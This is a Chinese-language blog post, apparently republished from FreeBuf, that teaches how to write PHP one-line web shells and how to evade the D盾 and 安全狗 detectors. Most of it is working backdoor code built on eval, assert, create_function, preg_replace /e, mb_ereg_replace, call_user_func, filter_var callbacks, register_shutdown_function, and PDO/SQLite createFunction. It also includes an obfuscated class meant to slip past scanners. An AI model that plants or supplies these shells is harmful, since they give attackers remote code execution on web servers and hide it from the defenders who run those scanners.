php一句话后门学习(含免杀) – 作者:Johnson666

php一句话后门

开发很久的可利用函数

eval和assert

php任意代码执行的一句话后门,我们喜欢用的是传统的eval,php5,7通用。

<?php @eval($_POST['a']) ?>

但由于eval不能拆分,早期也有人喜欢用assert,这样通过编码和拆分assert,隐蔽性更高

<?php @assert($_POST['a']) ?>

虽然有人说assert在php7.0及其以上版本被禁用,但实际上并没有禁用,而是和eval一样禁止拆分了。

绝大部分一句话后门,都跟这两个函数(其实不是函数)有关

create_function和preg_replace函数

create_function,它的作用是创建一个匿名函数,在内部也相当于执行了一次eval。php5,7都可用

<?php $st=@create_function('',$_POST['a']);$st();?>

/e修饰符,也就是大家熟知的preg_replace。这个则是真的php7用不了了,仅限php5。

<?php @preg_replace('/.*/e',$_POST['a'],'');?>

除了preg_replace之外,还有一个和它类似的函数。

<?php @preg_filter('/.*/e',$_POST['a'],'');?>

这两个都是仅限php5的,php7也想用这种方法怎么办呢?有办法,php并没有完全将/e修饰符赶尽杀绝。

<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>

它们甚至还有别名

<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mberegi_replace('.*',$_POST['a'],'','ee');?>

绕D盾方法

上面这些都开发出来很久了,单纯拿这些去绕D盾是很难的,这里也不是来教大家绕D盾的。想绕的话,其实D盾对类的检测力度不高,自己写个混淆一点的类,php5用assert拆分,php7用create_function拆分其实就很容易绕过去。举个例子

//该例子为create_function拆分,php5.3.29和5.2.17测试完不可行,php5.4.45-php7都可行。故php5用assert拆分,php7用create_function拆分这样最稳
<?php
class create{
public $filter = ['q'=>'_function'];
public $value = '';
public function __construct(){
$this->value = $_POST['a'];
$name=get_class($this).$this->filter['q'];
$st=$name('',$this->value);
$st();
}
}
$a = new create();

免杀一句话木马之回调函数

回调函数的本质是下面这种代码,以函数作为变量。

<?php $_GET['a']($_GET['b']);?>

比较老的回调后门

URL地址:http://127.0.0.1/1.php 连接密码:pass

php中call_user_func是执行回调函数的标准方法,这是比较老的后门了:

<?php
call_user_func('assert', $_REQUEST['pass']);
<?php
call_user_func_array('assert', array($_REQUEST['pass']));

真免杀回调后门(过安全狗,D盾)

URL地址:http://127.0.0.1/1.php?e=assert 连接密码:pass

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
<?php
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

下面这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的:

<?php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

上面这种sqlite方法是依靠PDO执行的。我们也可以直接调用sqlite3的方法构造回调后门,前提是php5.3以上。

<?php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

来源:freebuf.com 2021-02-27 15:55:23 by: Johnson666

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论